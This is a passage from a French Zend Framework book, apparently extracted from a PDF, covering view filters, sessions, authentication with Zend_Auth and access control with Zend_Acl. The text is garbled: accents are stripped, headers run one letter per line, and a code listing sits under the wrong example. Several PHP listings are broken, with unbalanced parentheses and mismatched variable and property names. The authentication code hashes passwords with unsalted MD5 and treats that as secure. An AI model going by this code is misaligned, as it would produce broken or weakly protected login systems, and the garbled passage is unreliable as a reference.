-dire le code du script de vue rendu, fusionn. Il nexiste pas de filtre de
vue par dfaut dans Zend Framework.
Les filtres de vue sont stocker dans le dossier views/filter. Il est bien
sr possible de les placer dans nimporte quel dossier ajout au pralable
avec la mthode addFilterPath().
Pour indiquer la vue quelle doit utiliser un filtre particulier, il suffit de
passer le nom de sa classe la mthode addFilter().
Les filtres nont pas implmenter dinterface ou hriter dune classe
abstraite, mais doivent par contre dfinir une mthode filter() pour
fonctionner. Celle-ci reoit en paramtre le flux de sortie provenant du
tampon (buffer) PHP et le transforme sa guise. Attention, les filtres
sont appliqus par ordre FIFO.
Voici un exemple comportant un filtre dchappement du flux de sortie
afin de se prmunir dattaques XSS :
class Zend_View_Helper_SetTitrePage extends Zend_View_Helper_Abstract
{
const TITRE_PAGE_VAR = 'pageTitle';

public function setTitrePage($titre)
{
$this->view->{self::TITRE_PAGE_VAR} =
$this->view->translate($titre);
}
}
RENVOI XSS et scurit
Le chapitre 11 sur la scurit vous en apprendra
plus sur le terme XSS, sil ne vous est pas familier.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
148
application/views/filters/EscapeFilter.php
Utiliser le filtre pralablement cr
La mthode setView(), si elle existe, est appele par Zend_View lors du
chargement du filtre. Zend_View passe alors sa propre instance au filtre,
ce qui permet den extraire les aides, comme laide escape.
En rsum
Nous venons de dcortiquer une bonne partie du modle MVC de Zend
Framework. Voici les principaux points retenir :
Chaque objet possde des responsabilits limites, clairement identi-
fies et uniques.
Ainsi, dans une application, il faut tout prix viter de dupliquer du
code. Dans la mesure du possible, le code doit tre testable.
Lorsque lon souhaite quelque chose, la question principale est de
savoir quel objet sadresser, lui-mme pouvant sadresser dautres
pour obtenir linformation. Les diagrammes de squence UML sont
trs pratiques pour mettre en avant les messages changs entre objets.
La flexibilit offerte par le modle MVC se paye au prix dune cer-
taine complexit, cependant gage de maintenabilit.
class Zend_View_Filter_EscapeFilter
{
private $_view;

public function filter($data)
{
return $this->_view->escape($data);
}

public function setView(Zend_View_Interface $view)
{
$this->_view = $view;
}
}
// depuis un contrleur daction :
$this->_view->addFilter('EscapeFilter');
// pour tout contrleur, avant le dispatching :
$vr = Zend_Controller_Action_HelperBroker::getStaticHelper('ViewRenderer');
$vr->init();
$vr->view->addFilter('EscapeFilter');
7


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C

a
v
a
n
c

e
Groupe Eyrolles, 2008
149
Le modle MVC nest pas propre PHP et encore moins Zend
Framework, qui ninvente rien en la matire. Consultez lannexe E
pour en savoir plus sur les aspects thoriques.
Pour tre encore plus laise avec MVC et avec PHP, nous vous con-
seillons vivement dutiliser dautres langages et dautres frameworks
MVC (dont Zend Framework tire certaines caractristiques). Citons
trs rapidement Rails avec Ruby, ou Struts avec Java.
Le modle MVC permet dorganiser son code en finesse, ce qui est
ncessaire en entreprise, o de grosses quipes travaillent sur des pro-
jets denvergure.
Ainsi, il nest pas toujours utile dutiliser un modle MVC pour des
applications trs petites, ou ne ncessitant pas une maintenance trs
pousse.
Groupe Eyrolles, 2008
chapitre 8
Groupe Eyrolles, 2008
Sessions, authentification
et autorisations
Toute application dynamique qui ncessite la reconnaissance
dutilisateurs utilise de prs ou de loin les sessions pour
la persistance des donnes, lauthentification pour permettre
un visiteur de se faire connatre, et, enfin, les autorisations
qui dterminent les ressources auxquelles chaque visiteur
doit avoir accs. Autant de notions qui exigent rigueur
et organisation.
SOMMAIRE
BUtilisation avance
des sessions
BGestion de lauthentification
BGestion des autorisations
COMPOSANTS
BZend_Session
BZend_Auth
BZend_Acl
MOTS-CLS
Bsession
Bacl
Bauthentification
Bautorisation
Bscurit
Bpersistance
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
152
Zend Framework propose trois composants spcialiss : Zend_Session,
Zend_Auth et Zend_Acl. Trois outils que lon peut choisir dutiliser ou pas,
en fonction des exigences. Ce chapitre vous prsente une utilisation pra-
tique de chacun deux dans un cas dutilisation rel.
Notions lmentaires
Avant de commencer ce chapitre, il convient de dfinir lauthentifica-
tion, lautorisation, les listes de contrle dutilisateurs (ACL), ainsi que
les sessions.
Lauthentification (aussi appele identification) est laction de
demander une personne ou un systme de prouver son identit.
Sur le Web, aujourdhui, le mot de passe est le moyen le plus utilis
pour remplir cette fonction.
Lautorisation est laction de contrler si un rle (souvent une per-
sonne identifie) a le droit daccder ou non une ressource.
Les listes de contrle d'accs (ACL, pour Acces Control List) sont des
jeux dautorisations, liant des utilisateurs des rles et des rles des
ressources.
Les sessions sont un mcanisme de persistance HTTP utilisant majoritai-
rement un identifiant unique (sessid) dans un cookie. Leur but est de
faire en sorte que le serveur HTTP puisse diffrencier tous ses clients.
La figure 8-1 illustre le cycle de vie dune visite utilisateur avec ouverture de
session. On y retrouve les termes dauthentification, autorisation et session.
Figure 81
Cycle dune session utilisateur
et notions associes
8


S
e
s
s
i
o
n
s
,

a
u
t
h
e
n
t
i
f
i
c
a
t
i
o
n

e
t

a
u
t
o
r
i
s
a
t
i
o
n
s
Groupe Eyrolles, 2008
153
Remarquons quil sagit l de concepts indpendants, mais nanmoins
complmentaires, et il conviendra de ne pas les confondre. Ainsi, sou-
vent, un mcanisme dauthentification est li un mcanisme de con-
trle de droits. Aussi, afin de conserver lidentit dune personne
identifie mais aussi ses droits entre chaque requte HTTP, il sera
souvent intressant de faire appel aux sessions.
Les sessions
HTTP est un protocole sans tat, cest--dire quil na pas t prvu pour
maintenir une connexion unique entre deux requtes utilisateur. Plus
simplement, lorsquun serveur HTTP reoit une requte, il est incapable
de savoir si celle-ci a un rapport avec une requte prcdente, mme si
elle provient du mme client. Autrement dit, HTTP ne prvoit pas de
mcanisme de persistance pour lidentification des clients.
Heureusement, les temps changent et le protocole HTTP sest vu en 10
ans ajouter nombre de nouvelles fonctionnalits on parle dextensions.
Et vu la vitesse laquelle le Web volue, des extensions du protocole
sont encore prvoir lavenir.
Un grand pas en avant a t accompli depuis la cration des cookies : si le
serveur arrive placer dans un cookie (petit fichier stock sur le client et
gr par le navigateur) un identifiant unique, il na alors plus qu attendre
que chaque client (navigateur) le lui renvoie chaque requte : le serveur
est devenu capable didentifier ses clients et de les suivre la trace.
Pourquoi choisir Zend_Session ?
PHP propose un systme de gestion de sessions depuis sa version 4,
majoritairement bas sur le tableau $_SESSION. Celui-ci a t repris par
Zend Framework afin de le simplifier et de lui ajouter des fonctionna-
lits intressantes. En effet, la gymnastique ncessaire autour des ses-
sions PHP est souvent pnible, et ds lors quil faut les rgler finement,
le travail salourdit encore.
Zend_Session est le composant de Zend Framework prvu pour piloter
les sessions PHP. Pour ceci, deux classes nous sont proposes :
Zend_Session est la classe gnrale qui servira configurer le mca-
nisme interne des sessions PHP ; on ne lutilise que de manire
statique ;
Zend_Session_Namespace est une classe destine piloter le tableau
PHP classique $_SESSION. Il lui ajoute des fonctionnalits intres-
santes et facilite son accs.
T Cookie
En 1997, Netscape a invent le mcanisme des
cookies pour pallier le problme de persistance. Un
cookie est un ensemble de donnes quun client
envoie chaque requte vers le mme serveur. Il
existe en ralit des subtilits, mais elles ne seront
pas abordes ici en profondeur.
PRREQUIS Connatre les sessions PHP
Comme Zend_Session repose sur le mca-
nisme des sessions PHP, il convient de matriser ce
mcanisme pour comprendre le fonctionnement
des sessions, et de Zend_Session.
ATTENTION Oprations manuelles
Si vous utilisez Zend_Session, vous ne
devez en aucun cas vous servir du tableau
$_SESSION manuellement. Aussi, vous ne
devez pas utiliser nimporte quelle fonction PHP
concernant les sessions, au risque de troubler
Zend_Session. La documentation de Zend
Framework vous met clairement en garde ce
sujet.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
154
Configurer sa session
Tout projet utilisant les sessions cest le cas du ntre doit au pralable
songer leur configuration. Heureusement, ltape de configuration est
trs simple car un objet Zend_Config vient fournir ses services.
Fichier de bootstrap index.php
Fichier session.ini
Nous profitons de lhritage des sections de Zend_Config_Ini pour
charger la configuration concernant le mode dans lequel tourne notre
application, savoir dveloppement (dev) ou production (prod).
La plupart de ces options font partie du fichier php.ini et nous suppo-
sons que vous tes laise avec le mcanisme des sessions de PHP.
Dtaillons en tout de mme quelques-unes :
remember_me_seconds configure le cookie de session. Mis zro, il
sagit dun cookie qui sera supprim la fermeture du navigateur
client, et la session sera alors invalide ;
strict paramtr off cette option indique que la cration dun
objet Zend_Session_Namespace entranera le dmarrage de la session
si celle-ci na pas t dj dmarre ;
les options trans-sid et cookie indiquent PHP quil faut utiliser
uniquement les cookies pour faire tansiter lidentifiant de session
travers chaque requte HTTP (fortement recommand pour des rai-
sons de scurit) ;
<?php
define('APP_MODE', 'dev');
$configSession = new Zend_Config_Ini('session.ini', APP_MODE);
Zend_Session::setOptions($configSession->toArray());
[dev]
use_cookies = on
use_only_cookies = on
use_trans_sid = off
strict = off
remember_me_seconds = 0
name = zfbook_session
gc_divisor = 1000
gc_maxlifetime = 86400
gc_probability = 1
[prod : dev]
remember_me_seconds = 0
gc_divisor = 1000
gc_maxlifetime = 600
gc_probability = 1
RENVOI Mthodes de configuration
La plupart de ces paramtres peuvent tre rgls
quand bon vous semble, via des mthodes expli-
cites de la classe Zend_Session. Rfrez-vous
au manuel pour plus de dtails les concernant.
8


S
e
s
s
i
o
n
s
,

a
u
t
h
e
n
t
i
f
i
c
a
t
i
o
n

e
t

a
u
t
o
r
i
s
a
t
i
o
n
s
Groupe Eyrolles, 2008
155
les options gc rglent le garbage collector, ou ramasse-miettes. Pour
notre exemple, en dveloppement, le ramasse-miettes passe plus sou-
vent quen production, car les requtes y sont moins frquentes.
Utiliser les espaces de noms
Maintenant que notre session est configure, nous allons pouvoir luti-
liser. Zend_Session_Namespace permet de crer un espace de noms
(namespace) dans le tableau originel $_SESSION. Au lieu de manipuler
celui-ci, vous manipulez des objets. Utiliser un objet
Zend_Session_Namespace offre de multiples avantages :
il permet dviter les collisions de variables, chaque espace de noms
tant un conteneur part entire ;
il fournit le moyen de rgler lexpiration de chaque espace de noms
indpendamment ;
il permet de rgler lexpiration dune donne particulire dans un
espace de noms, sans toucher au reste de la session ;
il lance automatiquement la session PHP, si celle-ci le ncessite (
condition que loption strict dans la configuration de Zend_Session
ne possde pas la valeur on) ;
il offre des possibilits de verrouillage dun espace de noms particu-
lier, afin den empcher la modification.
Nous avions cr un couple plugin/aide daction dans les chapitres 6 et 7
sur MVC, permettant de grer la page de retour dune action. Cette
combinaison utilise un espace de noms. Revoyons-la du point de vue des
sessions :
Cration de lespace de noms dans lindex
La cration de cet espace de noms de sessions, effectue assez tt dans le
fichier damorage (bootstrap), va entraner le dmarrage implicite de la
session. Ceci aurait pu tre empch avec loption strict positionne sur
on, mais a nest pas leffet recherch, au contraire : plus tt la session
dmarre, mieux cest. En effet, si des en-ttes HTTP taient envoys
avant, alors lerreur trs connue Header already sent se produirait. Notez
quil est aussi possible de dmarrer la session avec la mthode start() de
la classe Zend_Session.
Lobjet est ensuite partag en registres, de manire ce que le couple
plugin/aide daction puisse lutiliser. Revoyons le plugin :
$sessionMVC = new Zend_Session_Namespace('MVC');
Zend_Registry::set('MVC_RedirectorToOrigin', $sessionMVC);
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
156
Le plugin Zfbook_Controller_Plugins_Session
Les espaces de noms de session sutilisent comme des objets. On stocke
ce que lon souhaite dedans en sachant que ce sera totalement isol des
ventuels autres espaces de noms prsents dans Zend_Session ce
moment-l. Dans notre cas, stockons lURL actuelle dans le but de pou-
voir plus tard rediriger lutilisateur vers la page prcdente.
Une attention particulire doit tre donne au stockage dobjets en session.
En effet, souvenez-vous bien (ainsi fonctionne PHP...) quils vont tre
srialiss leur insertion en session. Plus important : ils seront dsrialiss
ds louverture de la session dans la requte suivante. Noubliez donc pas
dinclure toutes les classes ncessaires avant le dmarrage de la session.
Nous assurons ceci pour notre part grce lautoload, qui se charge de tout.
Gestion de lauthentification avec Zend_Auth
class Zfbook_Controller_Plugins_Session
extends Zend_Controller_Plugin_Abstract
{
public function dispatchLoopShutdown()
{
$session = Zend_Registry::get('MVC_RedirectorToOrigin');
$requestUri = $this->getRequest()->getRequestUri();
$session->requestUri = $requestUri;
}
}
INFO Espaces de noms Zend
Quelques composants de Zend Framework utili-
sent les espaces de noms pour leur fonctionne-
ment. Il est important de dmarrer la session trs
tt dans lapplication de manire ce que ces
composants puissent les utiliser sereinement.
Citons parmi eux laide daction
flashMessenger, ou encore Zend_Auth.
Figure 82
Diagramme de classes simplifi
du composant Zend_Auth
8


S
e
s
s
i
o
n
s
,

a
u
t
h
e
n
t
i
f
i
c
a
t
i
o
n

e
t

a
u
t
o
r
i
s
a
t
i
o
n
s
Groupe Eyrolles, 2008
157
Pourquoi utiliser Zend_Auth ?
Le diagramme de classe de la figure 8-2 montre en quoi Zend_Auth savre
utile. Comme pour Zend_Db (voir chapitre 5), Zend_Auth propose des
adaptateurs, et donc une interface commune de pilotage du processus
dauthentification, quelle que soit la source utilise pour effectuer celle-ci.
Zend_Auth se dcompose en plusieurs classes. Voici leur rle :
Zend_Auth propose de piloter lauthentification et sa persistance
(gnralement en session) ;
Zend_Auth_Storage dsigne les composants qui stockent la persis-
tance de lidentit. Par dfaut, un espace de noms de session est
utilis ;
Zend_Auth_Adapter dsigne les adaptateurs reprsentant le support
vis--vis duquel les identifiants fournis par le client vont tre com-
pars en vue de lidentifier ;
Zend_Auth_Result reprsente le rsultat dun processus dauthentifi-
cation. La classe permet de grer plusieurs cas : succs, chec, chec
avec conditions, etc.
Les adaptateurs
Lauthentification est laction qui permet un client HTTP (un visiteur
de lapplication) de prouver son identit. Pour ce faire, celui-ci devra
envoyer des informations, trs souvent un couple login/mot de passe, qui
vont alors tre compares avec un support sur le serveur, en fonction de
ladaptateur choisi.
Infocard : adaptateur pour le logiciel de gestion didentits InfoCard
de Microsoft ;
LDAP : cet adaptateur permet la comparaison des identifiants du client
avec un annuaire LDAP ;
OpenID : il fournit les moyens dauthentifier un client via le processus
dauthentification centralis OpenID, qui met en relation le client avec
un autre serveur que la machine hte ;
DbTable : lauthentification au travers dune table de base de donnes
est possible grce cet adaptateur. Nous en verrons un exemple ;
HTTP : cet adaptateur gre lauthentification via le protocole HTTP et
la mthode Basic. Deux objets de requte et rponse sont ncessaires,
issus des mmes classes que celles utilises par le modle MVC de
Zend Framework. Aussi, un fichier est utilis pour stocker les identi-
fiants des clients. Cette mthode nest pas conseille en raison de sa
faible scurit. En effet, les identifiants de lutilisateur circulent en
clair sur le rseau chaque requte HTTP ;
EN SAVOIR PLUS RFC 2617
La RFC 2617 dfinit les mcanismes dauthentifi-
cation pris en charge par HTTP. Leur connaissance
apporte un avantage indniable quant la com-
prhension du fonctionnement et du comporte-
ment des adaptateurs concerns (HTTP et
Digest).
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
158
Digest : autre mthode dauthentification HTTP, mais scurise,
cette fois. Un algorithme tel que md5 est utilis pour crypter le mot
de passe lors des changes HTTP. De plus, Digest permet de spci-
fier un temps de validit de lauthentification.
Exemple dutilisation
Chaque adaptateur se configure diffremment, mais tous implmentent
linterface ncessaire leur intgration. Celle-ci dfinit une mthode,
authenticate(), utilise pour authentifier le client, une fois ladaptateur
correctement configur.
Notre application ncessite lidentification de ses utilisateurs et nous
avons choisi dutiliser ladaptateur DbTable. On fera donc appel une
authentification avec la base de donnes, ainsi qu la persistance de
lidentit du client en session. Nous allons reprendre la partie de
LoginController qui gre lauthentification.
LoginController.php
Ladaptateur ncessite un objet Zend_Db_Adapter_Abstract afin de pou-
voir piloter le SGBD notre place. Heureusement,
Zend_Db_Table_Abstract fait office de registre pour cet objet, configur
bien plus tt dans le bootstrap.
Il faut ensuite fournir les identifiants du client, savoir le login et le mot
de passe, qui sont rcuprs et valids plus tt dans la requte. Notez
quun paramtre spcial permet de spcifier le traitement ventuel
effectuer sur le champ mot de passe. Ici il faudra utiliser md5. Aussi,
ladaptateur se charge dchapper et de filtrer pour nous les donnes
quon lui transmet. Cette opration gnrique nempche pas nanmoins
un filtrage plus fin effectu par le dveloppeur.
<?php
// partie authentification pure pour lexemple
$auth = Zend_Auth::getInstance();
$db = Zend_Db_Table_Abstract::getDefaultAdapter();
$dbAdapter = new Zend_Auth_Adapter_DbTable($db, 'user', 'email', 'password', 'MD5(?)');
$dbAdapter->setCredential($password))
->setIdentity($login));
$result = $auth->authenticate($dbAdapter);
if ($result->isValid()) {
// criture de lobjet complet en session, sauf le champ password
$data = $dbAdapter->getResultRowObject(null, 'password');
$auth->getStorage()->write($data);
}
8


S
e
s
s
i
o
n
s
,

a
u
t
h
e
n
t
i
f
i
c
a
t
i
o
n

e
t

a
u
t
o
r
i
s
a
t
i
o
n
s
Groupe Eyrolles, 2008
159
partir de ce moment-l, nous allons procder lauthentification.
Quel que soit ladaptateur utilis, seul lappel la mthode
authenticate() lance le processus de validation de lidentit en tant que
tel. Nous avons alors le choix :
si nous appelons authenticate() sur lobjet adaptateur, alors la per-
sistance de lidentit ne sera pas assure ;
si nous appelons authenticate() sur Zend_Auth, en lui passant en
paramtre notre adaptateur, alors la persistance de lidentit sera
assure dans le support par dfaut de Zend_Auth, un espace de noms
(namespace) de session nomm Zend_Auth.
Quel que soit le choix effectu, un objet Zend_Auth_Result est retourn.
Nous choisissons la persistance. Ds lors, en supposant lauthentification
valide, tout appel la mthode hasIdentity() de Zend_Auth retournera
true et tout appel la mthode getIdentity() de Zend_Auth retournera
linformation didentit enregistre. Bien entendu, ceci est valable tant que le
support de stockage nest pas invalid (expiration de la session par exemple).
Par dfaut, les informations concernant lidentit de lutilisateur courant
sont renvoyes. Ceci est en particulier valable pour ladaptateur DbTable, les
autres adaptateurs peuvent stocker par dfaut dautres renseignements. Il est
possible de modifier cette information, ce que nous ferons par la suite.
La mthode getStorage() de Zend_Auth retourne son support de stoc-
kage de lidendit, savoir par dfaut un objet
Zend_Auth_Storage_Session (contenant lespace de nom dclar dans la
session). Notons que ce support est modifiable et personnalisable grce
linterface Zend_Auth_Storage_Interface.
Une fois le support en notre possession, nous lui demandons de stocker un
objet contenant lenregistrement de la base de donnes correspondant aux
identifiants du client. La mthode getResultRowObject() de ladaptateur
DbTable retourne un objet stdClass reprsentant toute la ligne de la table.
Cependant, son premier paramtre permet dindiquer les champs
inclure : nous spcifions null, ce qui correspond tous. Le second para-
mtre, lui, fait linverse : il permet de spcifier les champs ne pas inclure
dans lobjet rsultat. Pour plus de scurit, nous choisissons dans notre
exemple de ne pas inclure le champ mot de passe de lutilisateur.
La dconnexion peut seffectuer de deux manires :
en appelant la mthode clearIdentity() sur linstance de Zend_Auth.
Ceci a pour effet de dtruire lespace de noms de session concernant
Zend_Auth. La mthode hasIdentity() retourne alors false : lutili-
sateur est dconnect ;
en dtruisant la session.
T stdClass
La classe stdClass de PHP est une classe
vierge. Elle est utilise pour dclarer des objets
dont on ne connat pas la structure lavance.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
160
Choisissons la destruction totale de la session, car nous y stockons les
ACL (voir en dernire section de ce chapitre) quil faut aussi dtruire.
Zend_Acl : liste de contrle daccs
Ds lors que lapplication ncessite de diffrencier les droits de ses utili-
sateurs, il faut un moyen de les grer. Lutilisateur a-t-il le droit de modi-
fier des rservations ? Le visiteur est-il autoris lister les salles
disponibles ? La gestion de telles questions peut tre dlgue au com-
posant Zend_Acl.
Pourquoi utiliser Zend_Acl ?
Zend_Acl reprsente une solution gnrique de gestion des droits daccs.
Gnrique signifie quelle propose une base adapte toute utilisation,
mais si elle ne lest pas suffisamment votre got, vous pouvez facile-
ment ltendre pour la complter. Cest lun des principes fondateurs de
Zend Framework.
Comme la gestion des autorisations peut devenir trs complexe, le socle
Zend_Acl fournit de bonnes bases pour sattaquer ce problme. Notre
application introduit un problme simple dautorisations et Zend_Acl le
rsoud tout aussi simplement.
Un peu de thorie sur les ACL
Il convient de dfinir trois notions importantes :
les rles reprsentent les entits dont on veut contrler un accs, pour
une ressource ;
RAPPEL Identification et autorisation
La gestion des autorisations (ACL) est un concept
diffrent de lidentification des utilisateurs (Auth).
Ainsi, Zend_Auth et Zend_Acl sont des com-
posants indpendants, bien que souvent utiliss
ensemble.
Figure 83
Exemple de rgles dACL
8


S
e
s
s
i
o
n
s
,

a
u
t
h
e
n
t
i
f
i
c
a
t
i
o
n

e
t

a
u
t
o
r
i
s
a
t
i
o
n
s
Groupe Eyrolles, 2008
161
les ressources dfinissent les entits pour lesquelles on veut contrler
un accs par un rle ;
les accs sont les types de demandes que lon veut formuler pour lier
un rle une ressource.
Simplement, la question lutilisateur peut-t-il modifier une
rservation ? identifie :
le rle utilisateur ;
la ressource rservation ;
laccs modifier.
Du ct des objets, nous avons notre disposition :
Zend_Acl, qui est lobjet de registre des ACL. Cest lui qui sait qui a le
droit de faire quoi. Il enregistre donc des rles, des ressources et des
droits ;
Zend_Acl_Role permet de dfinir les rles. Les rles peuvent hriter
entre eux ;
Zend_Acl_Ressource identifie les ressources. Les ressources peuvent
hriter les unes des autres.
Exemple pratique
Notre application dfinit les rles visiteur, utilisateur et administrateur.
Nous contrlons pour ces rles laccs ldition, la suppression et lajout
concernant chacune des rservations. Nous avons donc autant de res-
sources que de rservations.
Les rgles sont simples :
ne peuvent diter une rservation que les utilisateurs qui en sont
crateurs ;
ne peuvent supprimer une rservation que les administrateurs ;
chaque utilisateur ne pourra ajouter plus de X rservations, X tant le
mme pour tous les utilisateurs, dfini lors de la configuration ;
les administrateurs ont tous les droits et aucune limite.
Figure 84
Diagramme de classes simplifi
du composant Zend_Acl
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
162
Lillustration 8-3 rsume en gros les listes de contrle daccs telles que
nous les souhaitons. Lavantage de cette liste est de pouvoir voluer avec
beaucoup de souplesse au cas o le cahier des charges voluerait.
Voyons la partie du code de notre fichier damorage (bootstrap) concer-
nant les ACL :
Bootstrap : html/index.php
Les droits sont stocks en session et reprsents par la classe Zend_Acl.
Nous crons donc le rle user et la ressource reservations. Le visiteur sera
reconnu par le fait quil ne sest pas identifi. Nous utiliserons Zend_Auth
pour vrifier cela et nous navons pas besoin de rle spcial pour lui.
Ainsi, le user est un client qui sest identifi. Le rle admin nexistera
pas, car nous verrons quun administrateur est en fait un utilisateur (user)
qui on a affect tous les droits.
Au dmarrage de lapplication, les ACL contiennent donc un rle user et
une ressource reservations. Aucun droit nest encore dfini et ainsi tout
est interdit.
Ce nest que lors de lidentification dun visiteur que nous allons lui
affecter les droits relatifs sa personne et, si nous dtectons quil est
administrateur, nous lui affecterons tous les droits.
La figure 8-5 reprsente les mthodes publiques dun objet Zend_Acl.
if (!isset($session->acl)) {
$acl = new Zend_Acl();
$acl->addRole(new Zend_Acl_Role('user'));
$acl->add(new Zend_Acl_Resource('reservations'));
$session->acl = $acl;
}
CONSEIL Choix des ressources et des rles
Dans le but de simplifier lutilisation du composant, nous avons choisi une ressource et un rle
trs larges. Il est vident que dans le cadre dun dveloppement qui ncessite des droits
daccs souples et extensibles, nous allons faire notre choix de manire plus judicieuse. Voici
quelques exemples :
Rles : anonyme, invit, abonn, VIP, administrateur, etc.
Ressources : vous pouvez dfinir une liste de ressources arbitraires ou mieux, vous baser
sur lexistant : liste des actions (au sens MVC), liste des classes de votre infrastructure, etc.
NOTE Zend_Acl et session
Comme avec Zend_Auth, Zend_Acl nutilise
pas Zend_Session, mais il est convenable et
logique de crer les rles et les ressources une fois,
puis de les faire persister en session, do la liaison
entre les ACL et la session.
IMPORTANT Droit deny par dfaut
Si nous naffectons aucune rgle de droit, alors
tous les rles se voient par dfaut refuser (deny)
tout accs toute ressource.
Figure 85 Diagramme de classes
des mthodes publiques de Zend_Acl
8


S
e
s
s
i
o
n
s
,

a
u
t
h
e
n
t
i
f
i
c
a
t
i
o
n

e
t

a
u
t
o
r
i
s
a
t
i
o
n
s
Groupe Eyrolles, 2008
163
LoginController
Dans ce code, $user reprsente le rsultat retourn par la mthode
getResultRowObject() de ladaptateur Zend_Auth. Ensuite, nous ajou-
tons chacune des rservations contenues dans la base comme ressources
des ACL, car chaque utilisateur aura des autorisations diffrentes sur
chaque rservation. Il ne faut ainsi pas oublier, lajout ou la suppres-
sion dune rservation, de reporter laction dans les ACL, afin quelles
restent jour en permanence.
Si lutilisateur est administrateur, nous lui donnons tous les droits, sinon
nous lui donnons uniquement le droit ddition sur les rservations quil
a cres. La mthode allow() de Zend_Acl possde la signature
allow(rle, ressource, droit, assertion). Ainsi, donner des droits
lutilisateur sans spcifier les arguments droit et ressource lui donne
tous les droits, sur toutes les ressources. Il sagit en dautres termes dun
moyen de le rendre administrateur, de manire simple et efficace.
private function _setAcls(stdClass $user)
{
$TReservation = new Treservation();
// rcupration de toutes les rservations
$request = $TReservation->select()->from($TReservation, 'id'))
$reservations = $Treservation->fetchAll($request)->toArray();
// rcupration des acl depuis la session
$acl = Zend_Registry::get('session')->acl;
foreach ($reservations as $reservation) {

// ajout des rservations existantes dans les acl
$acl->add(new Zend_Acl_Resource($reservation['id']));
}
if ($user->is_admin == 1) {

// ladmin a tous les droits
$acl->allow('user');
} else {
// rcupration des rservations dont lutilisateur est crateur
$reservationsOwned = $TReservation->getByCreator($user->id);
foreach ($reservationsOwned as $reservationOwned) {
// autorisation daccs sur ces rservations pour cet utilisateur
$acl->allow('user', $reservationOwned['id'], 'editer');
}
// autorisation dajouter des rservations limite par une assertion
$assert = new Zfbook_Acl_AddReservationAssertion($user->id,
X $this->getInvokeArg('config')->maxreservations));
$acl->allow('user', 'reservations', 'ajouter', $assert);
}
}
PERFORMANCE Dclaration pralable
Il est parfois judicieux dadopter une politique qui
consiste mettre en cache la liste contenant
lensemble des dclarations possibles. En dautres
termes, les mthodes add() ou allow(), qui
modifient les listes daccs, ne devraient pas tre
appeles chaque requte. Lobjet $acl peut tre
mis en cache avec lensemble des rgles. Dans
notre exemple, en revanche, nous choisissons de
crer dynamiquement les rgles dont on va avoir
besoin pour un utilisateur donn une fois quil est
identifi. Cette mthode est rapide mettre en
uvre mais ncessite la cration dun jeu dACL
disctinct pour lensemble des utilisateurs. Rfl-
chissez bien la manire dont vous allez mettre en
place les ACL afin dviter dy perdre en perfor-
mance et en scalabilit.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
164
Enfin, le droit dajouter une rservation est limit par une assertion. Le
droit nest valid que si lassertion retourne la valeur true. Voyons celle-ci :
Zfbook_Acl_AddReservationAssertion
Toute assertion dACL doit implmenter linterface
Zend_Acl_Assert_Interface et dfinir une mthode assert() ayant la
mme signature que celle de linterface.
Notre mthode assert() parcourt la table des utilisateurs et rcupre le
nombre de rservations que lutilisateur qui vient de sidentifier a dj
effectues. Elle compare cette valeur au nombre maximal de rservations
admises par lapplication et retourne un boolen true ou false, validant ou
invalidant la rgle dACL.
Aprs avoir cr les rles, les ressources et les droits liant ces deux
entits, voyons maintenant comment contrler les accs.
Nous avons dvelopp pour cela une classe daide daction que nous
interrogeons partir dune action ncessitant des permissions. Nous lui
passons une ressource et un type daccs contrler. Le seul rle tant
user, il est inutile de le lui passer. Elle interroge alors les ACL et se
charge de rediriger le client vers une page dinterdiction le cas chant.
class Zfbook_Acl_AddReservationAssertion
implements Zend_Acl_Assert_Interface
{
private $_userId;
private $_maxReservationsAllowed;
public function __construct($userId, $maxReservations = 5)
{
$this->_userId = (int) $userId;
$this->_maxReservations = (int) $maxReservations;
}
public function assert(Zend_Acl $acl,
X Zend_Acl_Role_Interface $role = null,
X Zend_Acl_Resource_Interface $resource = null,
X $privilege = null)
{
$Tuser = new TUser();
return $Tuser->getReservationsCount($this->_userId)
< $this->_maxReservationsAllowed;
}
}
8


S
e
s
s
i
o
n
s
,

a
u
t
h
e
n
t
i
f
i
c
a
t
i
o
n

e
t

a
u
t
o
r
i
s
a
t
i
o
n
s
Groupe Eyrolles, 2008
165
Zfbook_Controller_ActionHelper_AclCheck
Cette aide daction contrle non seulement lACL, mais vrifie aussi si le
visiteur est authentifi, avec la mthode hasIdentity(). Pour lutiliser
depuis une action, voici comment procder :
ReservationController
En rsum
Zend_Auth et Zend_Acl, utiliss conjointement, proposent une solution
pratique et volutive pour rsoudre les problmes didentification et
dautorisation. Zend_Session entre souvent en jeu pour mmoriser des
informations en session et fournit alors une solution de gestion de ses-
sion PHP souple, complte et efficace.
class Zfbook_Controller_ActionHelpers_AclCheck extends Zend_Controller_Action_Helper_Abstract
{
public $acl;
public function init()
{
$this->acl = Zend_Registry::get('session')->acl;
}
public function direct($reservation, $accessType = null)
{
//essai de lACL
try {
$aclResult = $this->acl->isAllowed('user', $reservation,
X $accessType);
} catch (Zend_Acl_Exception $e) {
$aclResult = false;
}
if (!Zend_Auth::getInstance()->hasIdentity() || !$aclResult) {
Zend_Controller_Action_HelperBroker::getStaticHelper(
X 'redirector')->gotoUrlAndExit('/unauthorized');
}
}
}
public function editAction()
{
// Rcupration des paramtres et de la rservation diter
$params = $this->getRequest()->getParams();
// Vrification des droits pour cette reservation
